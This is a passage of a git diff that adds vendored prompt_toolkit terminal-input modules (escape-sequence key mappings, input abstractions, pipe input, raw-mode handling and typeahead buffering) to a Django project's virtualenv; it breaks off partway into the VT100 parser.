"\x1b[62~": Keys.ScrollUp, + "\x1b[63~": Keys.ScrollDown, + "\x1b[200~": Keys.BracketedPaste, # Start of bracketed paste. + # -- + # Sequences generated by numpad 5. Not sure what it means. (It doesn't + # appear in 'infocmp'. Just ignore. + "\x1b[E": Keys.Ignore, # Xterm. + "\x1b[G": Keys.Ignore, # Linux console. + # -- + # Meta/control/escape + pageup/pagedown/insert/delete. + "\x1b[3;2~": Keys.ShiftDelete, # xterm, gnome-terminal. + "\x1b[5;2~": Keys.ShiftPageUp, + "\x1b[6;2~": Keys.ShiftPageDown, + "\x1b[2;3~": (Keys.Escape, Keys.Insert), + "\x1b[3;3~": (Keys.Escape, Keys.Delete), + "\x1b[5;3~": (Keys.Escape, Keys.PageUp), + "\x1b[6;3~": (Keys.Escape, Keys.PageDown), + "\x1b[2;4~": (Keys.Escape, Keys.ShiftInsert), + "\x1b[3;4~": (Keys.Escape, Keys.ShiftDelete), + "\x1b[5;4~": (Keys.Escape, Keys.ShiftPageUp), + "\x1b[6;4~": (Keys.Escape, Keys.ShiftPageDown), + "\x1b[3;5~": Keys.ControlDelete, # xterm, gnome-terminal. + "\x1b[5;5~": Keys.ControlPageUp, + "\x1b[6;5~": Keys.ControlPageDown, + "\x1b[3;6~": Keys.ControlShiftDelete, + "\x1b[5;6~": Keys.ControlShiftPageUp, + "\x1b[6;6~": Keys.ControlShiftPageDown, + "\x1b[2;7~": (Keys.Escape, Keys.ControlInsert), + "\x1b[5;7~": (Keys.Escape, Keys.ControlPageDown), + "\x1b[6;7~": (Keys.Escape, Keys.ControlPageDown), + "\x1b[2;8~": (Keys.Escape, Keys.ControlShiftInsert), + "\x1b[5;8~": (Keys.Escape, Keys.ControlShiftPageDown), + "\x1b[6;8~": (Keys.Escape, Keys.ControlShiftPageDown), + # -- + # Arrows. + # (Normal cursor mode). + "\x1b[A": Keys.Up, + "\x1b[B": Keys.Down, + "\x1b[C": Keys.Right, + "\x1b[D": Keys.Left, + "\x1b[H": Keys.Home, + "\x1b[F": Keys.End, + # Tmux sends following keystrokes when control+arrow is pressed, but for + # Emacs ansi-term sends the same sequences for normal arrow keys. Consider + # it a normal arrow press, because that's more important. + # (Application cursor mode). + "\x1bOA": Keys.Up, + "\x1bOB": Keys.Down, + "\x1bOC": Keys.Right, + "\x1bOD": Keys.Left, + "\x1bOF": Keys.End, + "\x1bOH": Keys.Home, + # Shift + arrows. + "\x1b[1;2A": Keys.ShiftUp, + "\x1b[1;2B": Keys.ShiftDown, + "\x1b[1;2C": Keys.ShiftRight, + "\x1b[1;2D": Keys.ShiftLeft, + "\x1b[1;2F": Keys.ShiftEnd, + "\x1b[1;2H": Keys.ShiftHome, + # Meta + arrow keys. Several terminals handle this differently. + # The following sequences are for xterm and gnome-terminal. + # (Iterm sends ESC followed by the normal arrow_up/down/left/right + # sequences, and the OSX Terminal sends ESCb and ESCf for "alt + # arrow_left" and "alt arrow_right." We don't handle these + # explicitly, in here, because would could not distinguish between + # pressing ESC (to go to Vi navigation mode), followed by just the + # 'b' or 'f' key. These combinations are handled in + # the input processor.) + "\x1b[1;3A": (Keys.Escape, Keys.Up), + "\x1b[1;3B": (Keys.Escape, Keys.Down), + "\x1b[1;3C": (Keys.Escape, Keys.Right), + "\x1b[1;3D": (Keys.Escape, Keys.Left), + "\x1b[1;3F": (Keys.Escape, Keys.End), + "\x1b[1;3H": (Keys.Escape, Keys.Home), + # Alt+shift+number. + "\x1b[1;4A": (Keys.Escape, Keys.ShiftDown), + "\x1b[1;4B": (Keys.Escape, Keys.ShiftUp), + "\x1b[1;4C": (Keys.Escape, Keys.ShiftRight), + "\x1b[1;4D": (Keys.Escape, Keys.ShiftLeft), + "\x1b[1;4F": (Keys.Escape, Keys.ShiftEnd), + "\x1b[1;4H": (Keys.Escape, Keys.ShiftHome), + # Control + arrows. + "\x1b[1;5A": Keys.ControlUp, # Cursor Mode + "\x1b[1;5B": Keys.ControlDown, # Cursor Mode + "\x1b[1;5C": Keys.ControlRight, # Cursor Mode + "\x1b[1;5D": Keys.ControlLeft, # Cursor Mode + "\x1b[1;5F": Keys.ControlEnd, + "\x1b[1;5H": Keys.ControlHome, + # Tmux sends following keystrokes when control+arrow is pressed, but for + # Emacs ansi-term sends the same sequences for normal arrow keys. Consider + # it a normal arrow press, because that's more important. + "\x1b[5A": Keys.ControlUp, + "\x1b[5B": Keys.ControlDown, + "\x1b[5C": Keys.ControlRight, + "\x1b[5D": Keys.ControlLeft, + "\x1bOc": Keys.ControlRight, # rxvt + "\x1bOd": Keys.ControlLeft, # rxvt + # Control + shift + arrows. + "\x1b[1;6A": Keys.ControlShiftDown, + "\x1b[1;6B": Keys.ControlShiftUp, + "\x1b[1;6C": Keys.ControlShiftRight, + "\x1b[1;6D": Keys.ControlShiftLeft, + "\x1b[1;6F": Keys.ControlShiftEnd, + "\x1b[1;6H": Keys.ControlShiftHome, + # Control + Meta + arrows. + "\x1b[1;7A": (Keys.Escape, Keys.ControlDown), + "\x1b[1;7B": (Keys.Escape, Keys.ControlUp), + "\x1b[1;7C": (Keys.Escape, Keys.ControlRight), + "\x1b[1;7D": (Keys.Escape, Keys.ControlLeft), + "\x1b[1;7F": (Keys.Escape, Keys.ControlEnd), + "\x1b[1;7H": (Keys.Escape, Keys.ControlHome), + # Meta + Shift + arrows. + "\x1b[1;8A": (Keys.Escape, Keys.ControlShiftDown), + "\x1b[1;8B": (Keys.Escape, Keys.ControlShiftUp), + "\x1b[1;8C": (Keys.Escape, Keys.ControlShiftRight), + "\x1b[1;8D": (Keys.Escape, Keys.ControlShiftLeft), + "\x1b[1;8F": (Keys.Escape, Keys.ControlShiftEnd), + "\x1b[1;8H": (Keys.Escape, Keys.ControlShiftHome), + # Meta + arrow on (some?) Macs when using iTerm defaults (see issue #483). + "\x1b[1;9A": (Keys.Escape, Keys.Up), + "\x1b[1;9B": (Keys.Escape, Keys.Down), + "\x1b[1;9C": (Keys.Escape, Keys.Right), + "\x1b[1;9D": (Keys.Escape, Keys.Left), + # -- + # Control/shift/meta + number in mintty. + # (c-2 will actually send c-@ and c-6 will send c-^.) + "\x1b[1;5p": Keys.Control0, + "\x1b[1;5q": Keys.Control1, + "\x1b[1;5r": Keys.Control2, + "\x1b[1;5s": Keys.Control3, + "\x1b[1;5t": Keys.Control4, + "\x1b[1;5u": Keys.Control5, + "\x1b[1;5v": Keys.Control6, + "\x1b[1;5w": Keys.Control7, + "\x1b[1;5x": Keys.Control8, + "\x1b[1;5y": Keys.Control9, + "\x1b[1;6p": Keys.ControlShift0, + "\x1b[1;6q": Keys.ControlShift1, + "\x1b[1;6r": Keys.ControlShift2, + "\x1b[1;6s": Keys.ControlShift3, + "\x1b[1;6t": Keys.ControlShift4, + "\x1b[1;6u": Keys.ControlShift5, + "\x1b[1;6v": Keys.ControlShift6, + "\x1b[1;6w": Keys.ControlShift7, + "\x1b[1;6x": Keys.ControlShift8, + "\x1b[1;6y": Keys.ControlShift9, + "\x1b[1;7p": (Keys.Escape, Keys.Control0), + "\x1b[1;7q": (Keys.Escape, Keys.Control1), + "\x1b[1;7r": (Keys.Escape, Keys.Control2), + "\x1b[1;7s": (Keys.Escape, Keys.Control3), + "\x1b[1;7t": (Keys.Escape, Keys.Control4), + "\x1b[1;7u": (Keys.Escape, Keys.Control5), + "\x1b[1;7v": (Keys.Escape, Keys.Control6), + "\x1b[1;7w": (Keys.Escape, Keys.Control7), + "\x1b[1;7x": (Keys.Escape, Keys.Control8), + "\x1b[1;7y": (Keys.Escape, Keys.Control9), + "\x1b[1;8p": (Keys.Escape, Keys.ControlShift0), + "\x1b[1;8q": (Keys.Escape, Keys.ControlShift1), + "\x1b[1;8r": (Keys.Escape, Keys.ControlShift2), + "\x1b[1;8s": (Keys.Escape, Keys.ControlShift3), + "\x1b[1;8t": (Keys.Escape, Keys.ControlShift4), + "\x1b[1;8u": (Keys.Escape, Keys.ControlShift5), + "\x1b[1;8v": (Keys.Escape, Keys.ControlShift6), + "\x1b[1;8w": (Keys.Escape, Keys.ControlShift7), + "\x1b[1;8x": (Keys.Escape, Keys.ControlShift8), + "\x1b[1;8y": (Keys.Escape, Keys.ControlShift9), +} + + +def _get_reverse_ansi_sequences() -> Dict[Keys, str]: + """ + Create a dictionary that maps prompt_toolkit keys back to the VT100 escape + sequences. + """ + result: Dict[Keys, str] = {} + + for sequence, key in ANSI_SEQUENCES.items(): + if not isinstance(key, tuple): + if key not in result: + result[key] = sequence + + return result + + +REVERSE_ANSI_SEQUENCES = _get_reverse_ansi_sequences() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/base.py new file mode 100644 index 00000000..313622de --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/base.py @@ -0,0 +1,150 @@ +""" +Abstraction of CLI Input. +""" +from abc import ABCMeta, abstractmethod, abstractproperty +from contextlib import contextmanager +from typing import Callable, ContextManager, Generator, List + +from prompt_toolkit.key_binding import KeyPress + +__all__ = [ + "Input", + "PipeInput", + "DummyInput", +] + + +class Input(metaclass=ABCMeta): + """ + Abstraction for any input. + + An instance of this class can be given to the constructor of a + :class:`~prompt_toolkit.application.Application` and will also be + passed to the :class:`~prompt_toolkit.eventloop.base.EventLoop`. + """ + + @abstractmethod + def fileno(self) -> int: + """ + Fileno for putting this in an event loop. + """ + + @abstractmethod + def typeahead_hash(self) -> str: + """ + Identifier for storing type ahead key presses. + """ + + @abstractmethod + def read_keys(self) -> List[KeyPress]: + """ + Return a list of Key objects which are read/parsed from the input. + """ + + def flush_keys(self) -> List[KeyPress]: + """ + Flush the underlying parser. and return the pending keys. + (Used for vt100 input.) + """ + return [] + + def flush(self) -> None: + "The event loop can call this when the input has to be flushed." + pass + + @abstractproperty + def closed(self) -> bool: + "Should be true when the input stream is closed." + return False + + @abstractmethod + def raw_mode(self) -> ContextManager[None]: + """ + Context manager that turns the input into raw mode. + """ + + @abstractmethod + def cooked_mode(self) -> ContextManager[None]: + """ + Context manager that turns the input into cooked mode. + """ + + @abstractmethod + def attach(self, input_ready_callback: Callable[[], None]) -> ContextManager[None]: + """ + Return a context manager that makes this input active in the current + event loop. + """ + + @abstractmethod + def detach(self) -> ContextManager[None]: + """ + Return a context manager that makes sure that this input is not active + in the current event loop. + """ + + def close(self) -> None: + "Close input." + pass + + +class PipeInput(Input): + """ + Abstraction for pipe input. + """ + + @abstractmethod + def send_bytes(self, data: bytes) -> None: + """Feed byte string into the pipe""" + + @abstractmethod + def send_text(self, data: str) -> None: + """Feed a text string into the pipe""" + + +class DummyInput(Input): + """ + Input for use in a `DummyApplication` + + If used in an actual application, it will make the application render + itself once and exit immediately, due to an `EOFError`. + """ + + def fileno(self) -> int: + raise NotImplementedError + + def typeahead_hash(self) -> str: + return "dummy-%s" % id(self) + + def read_keys(self) -> List[KeyPress]: + return [] + + @property + def closed(self) -> bool: + # This needs to be true, so that the dummy input will trigger an + # `EOFError` immediately in the application. + return True + + def raw_mode(self) -> ContextManager[None]: + return _dummy_context_manager() + + def cooked_mode(self) -> ContextManager[None]: + return _dummy_context_manager() + + def attach(self, input_ready_callback: Callable[[], None]) -> ContextManager[None]: + # Call the callback immediately once after attaching. + # This tells the callback to call `read_keys` and check the + # `input.closed` flag, after which it won't receive any keys, but knows + # that `EOFError` should be raised. This unblocks `read_from_input` in + # `application.py`. + input_ready_callback() + + return _dummy_context_manager() + + def detach(self) -> ContextManager[None]: + return _dummy_context_manager() + + +@contextmanager +def _dummy_context_manager() -> Generator[None, None, None]: + yield diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/defaults.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/defaults.py new file mode 100644 index 00000000..197dcb9a --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/defaults.py @@ -0,0 +1,69 @@ +import sys +from typing import ContextManager, Optional, TextIO + +from .base import DummyInput, Input, PipeInput + +__all__ = [ + "create_input", + "create_pipe_input", +] + + +def create_input( + stdin: Optional[TextIO] = None, always_prefer_tty: bool = False +) -> Input: + """ + Create the appropriate `Input` object for the current os/environment. + + :param always_prefer_tty: When set, if `sys.stdin` is connected to a Unix + `pipe`, check whether `sys.stdout` or `sys.stderr` are connected to a + pseudo terminal. If so, open the tty for reading instead of reading for + `sys.stdin`. (We can open `stdout` or `stderr` for reading, this is how + a `$PAGER` works.) + """ + if sys.platform == "win32": + from .win32 import Win32Input + + # If `stdin` was assigned `None` (which happens with pythonw.exe), use + # a `DummyInput`. This triggers `EOFError` in the application code. + if stdin is None and sys.stdin is None: + return DummyInput() + + return Win32Input(stdin or sys.stdin) + else: + from .vt100 import Vt100Input + + # If no input TextIO is given, use stdin/stdout. + if stdin is None: + stdin = sys.stdin + + if always_prefer_tty: + for io in [sys.stdin, sys.stdout, sys.stderr]: + if io.isatty(): + stdin = io + break + + return Vt100Input(stdin) + + +def create_pipe_input() -> ContextManager[PipeInput]: + """ + Create an input pipe. + This is mostly useful for unit testing. + + Usage:: + + with create_pipe_input() as input: + input.send_text('inputdata') + + Breaking change: In prompt_toolkit 3.0.28 and earlier, this was returning + the `PipeInput` directly, rather than through a context manager. + """ + if sys.platform == "win32": + from .win32_pipe import Win32PipeInput + + return Win32PipeInput.create() + else: + from .posix_pipe import PosixPipeInput + + return PosixPipeInput.create() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/posix_pipe.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/posix_pipe.py new file mode 100644 index 00000000..1e7dec77 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/posix_pipe.py @@ -0,0 +1,116 @@ +import sys + +assert sys.platform != "win32" + +import os +from contextlib import contextmanager +from typing import ContextManager, Iterator, TextIO, cast + +from ..utils import DummyContext +from .base import PipeInput +from .vt100 import Vt100Input + +__all__ = [ + "PosixPipeInput", +] + + +class _Pipe: + "Wrapper around os.pipe, that ensures we don't double close any end." + + def __init__(self) -> None: + self.read_fd, self.write_fd = os.pipe() + self._read_closed = False + self._write_closed = False + + def close_read(self) -> None: + "Close read-end if not yet closed." + if self._read_closed: + return + + os.close(self.read_fd) + self._read_closed = True + + def close_write(self) -> None: + "Close write-end if not yet closed." + if self._write_closed: + return + + os.close(self.write_fd) + self._write_closed = True + + def close(self) -> None: + "Close both read and write ends." + self.close_read() + self.close_write() + + +class PosixPipeInput(Vt100Input, PipeInput): + """ + Input that is send through a pipe. + This is useful if we want to send the input programmatically into the + application. Mostly useful for unit testing. + + Usage:: + + with PosixPipeInput.create() as input: + input.send_text('inputdata') + """ + + _id = 0 + + def __init__(self, _pipe: _Pipe, _text: str = "") -> None: + # Private constructor. Users should use the public `.create()` method. + self.pipe = _pipe + + class Stdin: + encoding = "utf-8" + + def isatty(stdin) -> bool: + return True + + def fileno(stdin) -> int: + return self.pipe.read_fd + + super().__init__(cast(TextIO, Stdin())) + self.send_text(_text) + + # Identifier for every PipeInput for the hash. + self.__class__._id += 1 + self._id = self.__class__._id + + @classmethod + @contextmanager + def create(cls, text: str = "") -> Iterator["PosixPipeInput"]: + pipe = _Pipe() + try: + yield PosixPipeInput(_pipe=pipe, _text=text) + finally: + pipe.close() + + def send_bytes(self, data: bytes) -> None: + os.write(self.pipe.write_fd, data) + + def send_text(self, data: str) -> None: + "Send text to the input." + os.write(self.pipe.write_fd, data.encode("utf-8")) + + def raw_mode(self) -> ContextManager[None]: + return DummyContext() + + def cooked_mode(self) -> ContextManager[None]: + return DummyContext() + + def close(self) -> None: + "Close pipe fds." + # Only close the write-end of the pipe. This will unblock the reader + # callback (in vt100.py > _attached_input), which eventually will raise + # `EOFError`. If we'd also close the read-end, then the event loop + # won't wake up the corresponding callback because of this. + self.pipe.close_write() + + def typeahead_hash(self) -> str: + """ + This needs to be unique for every `PipeInput`. + """ + return f"pipe-input-{self._id}" diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/posix_utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/posix_utils.py new file mode 100644 index 00000000..7cf31eeb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/posix_utils.py @@ -0,0 +1,95 @@ +import os +import select +from codecs import getincrementaldecoder + +__all__ = [ + "PosixStdinReader", +] + + +class PosixStdinReader: + """ + Wrapper around stdin which reads (nonblocking) the next available 1024 + bytes and decodes it. + + Note that you can't be sure that the input file is closed if the ``read`` + function returns an empty string. When ``errors=ignore`` is passed, + ``read`` can return an empty string if all malformed input was replaced by + an empty string. (We can't block here and wait for more input.) So, because + of that, check the ``closed`` attribute, to be sure that the file has been + closed. + + :param stdin_fd: File descriptor from which we read. + :param errors: Can be 'ignore', 'strict' or 'replace'. + On Python3, this can be 'surrogateescape', which is the default. + + 'surrogateescape' is preferred, because this allows us to transfer + unrecognised bytes to the key bindings. Some terminals, like lxterminal + and Guake, use the 'Mxx' notation to send mouse events, where each 'x' + can be any possible byte. + """ + + # By default, we want to 'ignore' errors here. The input stream can be full + # of junk. One occurrence of this that I had was when using iTerm2 on OS X, + # with "Option as Meta" checked (You should choose "Option as +Esc".) + + def __init__( + self, stdin_fd: int, errors: str = "surrogateescape", encoding: str = "utf-8" + ) -> None: + self.stdin_fd = stdin_fd + self.errors = errors + + # Create incremental decoder for decoding stdin. + # We can not just do `os.read(stdin.fileno(), 1024).decode('utf-8')`, because + # it could be that we are in the middle of a utf-8 byte sequence. + self._stdin_decoder_cls = getincrementaldecoder(encoding) + self._stdin_decoder = self._stdin_decoder_cls(errors=errors) + + #: True when there is nothing anymore to read. + self.closed = False + + def read(self, count: int = 1024) -> str: + # By default we choose a rather small chunk size, because reading + # big amounts of input at once, causes the event loop to process + # all these key bindings also at once without going back to the + # loop. This will make the application feel unresponsive. + """ + Read the input and return it as a string. + + Return the text. Note that this can return an empty string, even when + the input stream was not yet closed. This means that something went + wrong during the decoding. + """ + if self.closed: + return "" + + # Check whether there is some input to read. `os.read` would block + # otherwise. + # (Actually, the event loop is responsible to make sure that this + # function is only called when there is something to read, but for some + # reason this happens in certain situations.) + try: + if not select.select([self.stdin_fd], [], [], 0)[0]: + return "" + except OSError: + # Happens for instance when the file descriptor was closed. + # (We had this in ptterm, where the FD became ready, a callback was + # scheduled, but in the meantime another callback closed it already.) + self.closed = True + + # Note: the following works better than wrapping `self.stdin` like + # `codecs.getreader('utf-8')(stdin)` and doing `read(1)`. + # Somehow that causes some latency when the escape + # character is pressed. (Especially on combination with the `select`.) + try: + data = os.read(self.stdin_fd, count) + + # Nothing more to read, stream is closed. + if data == b"": + self.closed = True + return "" + except OSError: + # In case of SIGWINCH + data = b"" + + return self._stdin_decoder.decode(data) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/typeahead.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/typeahead.py new file mode 100644 index 00000000..a3d78664 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/typeahead.py @@ -0,0 +1,76 @@ +r""" +Store input key strokes if we did read more than was required. + +The input classes `Vt100Input` and `Win32Input` read the input text in chunks +of a few kilobytes. This means that if we read input from stdin, it could be +that we read a couple of lines (with newlines in between) at once. + +This creates a problem: potentially, we read too much from stdin. Sometimes +people paste several lines at once because they paste input in a REPL and +expect each input() call to process one line. Or they rely on type ahead +because the application can't keep up with the processing. + +However, we need to read input in bigger chunks. We need this mostly to support +pasting of larger chunks of text. We don't want everything to become +unresponsive because we: + - read one character; + - parse one character; + - call the key binding, which does a string operation with one character; + - and render the user interface. +Doing text operations on single characters is very inefficient in Python, so we +prefer to work on bigger chunks of text. This is why we have to read the input +in bigger chunks. + +Further, line buffering is also not an option, because it doesn't work well in +the architecture. We use lower level Posix APIs, that work better with the +event loop and so on. In fact, there is also nothing that defines that only \n +can accept the input, you could create a key binding for any key to accept the +input. + +To support type ahead, this module will store all the key strokes that were +read too early, so that they can be feed into to the next `prompt()` call or to +the next prompt_toolkit `Application`. +""" +from collections import defaultdict +from typing import Dict, List + +from ..key_binding import KeyPress +from .base import Input + +__all__ = [ + "store_typeahead", + "get_typeahead", + "clear_typeahead", +] + +_buffer: Dict[str, List[KeyPress]] = defaultdict(list) + + +def store_typeahead(input_obj: Input, key_presses: List[KeyPress]) -> None: + """ + Insert typeahead key presses for the given input. + """ + global _buffer + key = input_obj.typeahead_hash() + _buffer[key].extend(key_presses) + + +def get_typeahead(input_obj: Input) -> List[KeyPress]: + """ + Retrieve typeahead and reset the buffer for this input. + """ + global _buffer + + key = input_obj.typeahead_hash() + result = _buffer[key] + _buffer[key] = [] + return result + + +def clear_typeahead(input_obj: Input) -> None: + """ + Clear typeahead buffer. + """ + global _buffer + key = input_obj.typeahead_hash() + _buffer[key] = [] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/vt100.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/vt100.py new file mode 100644 index 00000000..45ce3720 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/vt100.py @@ -0,0 +1,320 @@ +import sys + +assert sys.platform != "win32" + +import contextlib +import io +import termios +import tty +from asyncio import AbstractEventLoop +from typing import ( + Callable, + ContextManager, + Dict, + Generator, + List, + Optional, + Set, + TextIO, + Tuple, + Union, +) + +from prompt_toolkit.eventloop import get_event_loop + +from ..key_binding import KeyPress +from .base import Input +from .posix_utils import PosixStdinReader +from .vt100_parser import Vt100Parser + +__all__ = [ + "Vt100Input", + "raw_mode", + "cooked_mode", +] + + +class Vt100Input(Input): + """ + Vt100 input for Posix systems. + (This uses a posix file descriptor that can be registered in the event loop.) + """ + + # For the error messages. Only display "Input is not a terminal" once per + # file descriptor. + _fds_not_a_terminal: Set[int] = set() + + def __init__(self, stdin: TextIO) -> None: + # Test whether the given input object has a file descriptor. + # (Idle reports stdin to be a TTY, but fileno() is not implemented.) + try: + # This should not raise, but can return 0. + stdin.fileno() + except io.UnsupportedOperation as e: + if "idlelib.run" in sys.modules: + raise io.UnsupportedOperation( + "Stdin is not a terminal. Running from Idle is not supported." + ) from e + else: + raise io.UnsupportedOperation("Stdin is not a terminal.") from e + + # Even when we have a file descriptor, it doesn't mean it's a TTY. + # Normally, this requires a real TTY device, but people instantiate + # this class often during unit tests as well. They use for instance + # pexpect to pipe data into an application. For convenience, we print + # an error message and go on. + isatty = stdin.isatty() + fd = stdin.fileno() + + if not isatty and fd not in Vt100Input._fds_not_a_terminal: + msg = "Warning: Input is not a terminal (fd=%r).\n" + sys.stderr.write(msg % fd) + sys.stderr.flush() + Vt100Input._fds_not_a_terminal.add(fd) + + # + self.stdin = stdin + + # Create a backup of the fileno(). We want this to work even if the + # underlying file is closed, so that `typeahead_hash()` keeps working. + self._fileno = stdin.fileno() + + self._buffer: List[KeyPress] = [] # Buffer to collect the Key objects. + self.stdin_reader = PosixStdinReader(self._fileno, encoding=stdin.encoding) + self.vt100_parser = Vt100Parser( + lambda key_press: self._buffer.append(key_press) + ) + + def attach(self, input_ready_callback: Callable[[], None]) -> ContextManager[None]: + """ + Return a context manager that makes this input active in the current + event loop. + """ + return _attached_input(self, input_ready_callback) + + def detach(self) -> ContextManager[None]: + """ + Return a context manager that makes sure that this input is not active + in the current event loop. + """ + return _detached_input(self) + + def read_keys(self) -> List[KeyPress]: + "Read list of KeyPress." + # Read text from stdin. + data = self.stdin_reader.read() + + # Pass it through our vt100 parser. + self.vt100_parser.feed(data) + + # Return result. + result = self._buffer + self._buffer = [] + return result + + def flush_keys(self) -> List[KeyPress]: + """ + Flush pending keys and return them. + (Used for flushing the 'escape' key.) + """ + # Flush all pending keys. (This is most important to flush the vt100 + # 'Escape' key early when nothing else follows.) + self.vt100_parser.flush() + + # Return result. + result = self._buffer + self._buffer = [] + return result + + @property + def closed(self) -> bool: + return self.stdin_reader.closed + + def raw_mode(self) -> ContextManager[None]: + return raw_mode(self.stdin.fileno()) + + def cooked_mode(self) -> ContextManager[None]: + return cooked_mode(self.stdin.fileno()) + + def fileno(self) -> int: + return self.stdin.fileno() + + def typeahead_hash(self) -> str: + return f"fd-{self._fileno}" + + +_current_callbacks: Dict[ + Tuple[AbstractEventLoop, int], Optional[Callable[[], None]] +] = {} # (loop, fd) -> current callback + + +@contextlib.contextmanager +def _attached_input( + input: Vt100Input, callback: Callable[[], None] +) -> Generator[None, None, None]: + """ + Context manager that makes this input active in the current event loop. + + :param input: :class:`~prompt_toolkit.input.Input` object. + :param callback: Called when the input is ready to read. + """ + loop = get_event_loop() + fd = input.fileno() + previous = _current_callbacks.get((loop, fd)) + + def callback_wrapper() -> None: + """Wrapper around the callback that already removes the reader when + the input is closed. Otherwise, we keep continuously calling this + callback, until we leave the context manager (which can happen a bit + later). This fixes issues when piping /dev/null into a prompt_toolkit + application.""" + if input.closed: + loop.remove_reader(fd) + callback() + + try: + loop.add_reader(fd, callback_wrapper) + except PermissionError: + # For `EPollSelector`, adding /dev/null to the event loop will raise + # `PermisisonError` (that doesn't happen for `SelectSelector` + # apparently). Whenever we get a `PermissionError`, we can raise + # `EOFError`, because there's not more to be read anyway. `EOFError` is + # an exception that people expect in + # `prompt_toolkit.application.Application.run()`. + # To reproduce, do: `ptpython 0< /dev/null 1< /dev/null` + raise EOFError + + _current_callbacks[loop, fd] = callback + + try: + yield + finally: + loop.remove_reader(fd) + + if previous: + loop.add_reader(fd, previous) + _current_callbacks[loop, fd] = previous + else: + del _current_callbacks[loop, fd] + + +@contextlib.contextmanager +def _detached_input(input: Vt100Input) -> Generator[None, None, None]: + loop = get_event_loop() + fd = input.fileno() + previous = _current_callbacks.get((loop, fd)) + + if previous: + loop.remove_reader(fd) + _current_callbacks[loop, fd] = None + + try: + yield + finally: + if previous: + loop.add_reader(fd, previous) + _current_callbacks[loop, fd] = previous + + +class raw_mode: + """ + :: + + with raw_mode(stdin): + ''' the pseudo-terminal stdin is now used in raw mode ''' + + We ignore errors when executing `tcgetattr` fails. + """ + + # There are several reasons for ignoring errors: + # 1. To avoid the "Inappropriate ioctl for device" crash if somebody would + # execute this code (In a Python REPL, for instance): + # + # import os; f = open(os.devnull); os.dup2(f.fileno(), 0) + # + # The result is that the eventloop will stop correctly, because it has + # to logic to quit when stdin is closed. However, we should not fail at + # this point. See: + # https://github.com/jonathanslenders/python-prompt-toolkit/pull/393 + # https://github.com/jonathanslenders/python-prompt-toolkit/issues/392 + + # 2. Related, when stdin is an SSH pipe, and no full terminal was allocated. + # See: https://github.com/jonathanslenders/python-prompt-toolkit/pull/165 + def __init__(self, fileno: int) -> None: + self.fileno = fileno + self.attrs_before: Optional[List[Union[int, List[Union[bytes, int]]]]] + try: + self.attrs_before = termios.tcgetattr(fileno) + except termios.error: + # Ignore attribute errors. + self.attrs_before = None + + def __enter__(self) -> None: + # NOTE: On os X systems, using pty.setraw() fails. Therefor we are using this: + try: + newattr = termios.tcgetattr(self.fileno) + except termios.error: + pass + else: + newattr[tty.LFLAG] = self._patch_lflag(newattr[tty.LFLAG]) + newattr[tty.IFLAG] = self._patch_iflag(newattr[tty.IFLAG]) + + # VMIN defines the number of characters read at a time in + # non-canonical mode. It seems to default to 1 on Linux, but on + # Solaris and derived operating systems it defaults to 4. (This is + # because the VMIN slot is the same as the VEOF slot, which + # defaults to ASCII EOT = Ctrl-D = 4.) + newattr[tty.CC][termios.VMIN] = 1 + + termios.tcsetattr(self.fileno, termios.TCSANOW, newattr) + + @classmethod + def _patch_lflag(cls, attrs: int) -> int: + return attrs & ~(termios.ECHO | termios.ICANON | termios.IEXTEN | termios.ISIG) + + @classmethod + def _patch_iflag(cls, attrs: int) -> int: + return attrs & ~( + # Disable XON/XOFF flow control on output and input. + # (Don't capture Ctrl-S and Ctrl-Q.) + # Like executing: "stty -ixon." + termios.IXON + | termios.IXOFF + | + # Don't translate carriage return into newline on input. + termios.ICRNL + | termios.INLCR + | termios.IGNCR + ) + + def __exit__(self, *a: object) -> None: + if self.attrs_before is not None: + try: + termios.tcsetattr(self.fileno, termios.TCSANOW, self.attrs_before) + except termios.error: + pass + + # # Put the terminal in application mode. + # self._stdout.write('\x1b[?1h') + + +class cooked_mode(raw_mode): + """ + The opposite of ``raw_mode``, used when we need cooked mode inside a + `raw_mode` block. Used in `Application.run_in_terminal`.:: + + with cooked_mode(stdin): + ''' the pseudo-terminal stdin is now used in cooked mode. ''' + """ + + @classmethod + def _patch_lflag(cls, attrs: int) -> int: + return attrs | (termios.ECHO | termios.ICANON | termios.IEXTEN | termios.ISIG) + + @classmethod + def _patch_iflag(cls, attrs: int) -> int: + # Turn the ICRNL flag back on. (Without this, calling `input()` in + # run_in_terminal doesn't work and displays ^M instead. Ptpython + # evaluates commands using `run_in_terminal`, so it's important that + # they translate ^M back into ^J.) + return attrs | termios.ICRNL diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/vt100_parser.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/vt100_parser.py new file mode 100644 index 00000000..3ee1e14f --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/input/vt100_parser.py @@ -0,0 +1,247 @@ +""" +Parser for VT100 input stream. +""" +import re +from typing import Callable, Dict, Generator, Tuple, Union + +from ..key_binding.key_processor import KeyPress +from ..keys import Keys +from .ansi_escape_sequences import ANSI_SEQUENCES + +__all__ = [ + "Vt100Parser", +] + + +# Regex matching any CPR response +# (Note that we use '\Z' instead of '$', because '$' could include a trailing +# newline.) +_cpr_response_re = re.compile("^" + re.escape("\x1b[") + r"\d+;\d+R\Z") + +# Mouse events: +# Typical: "Esc[MaB*" 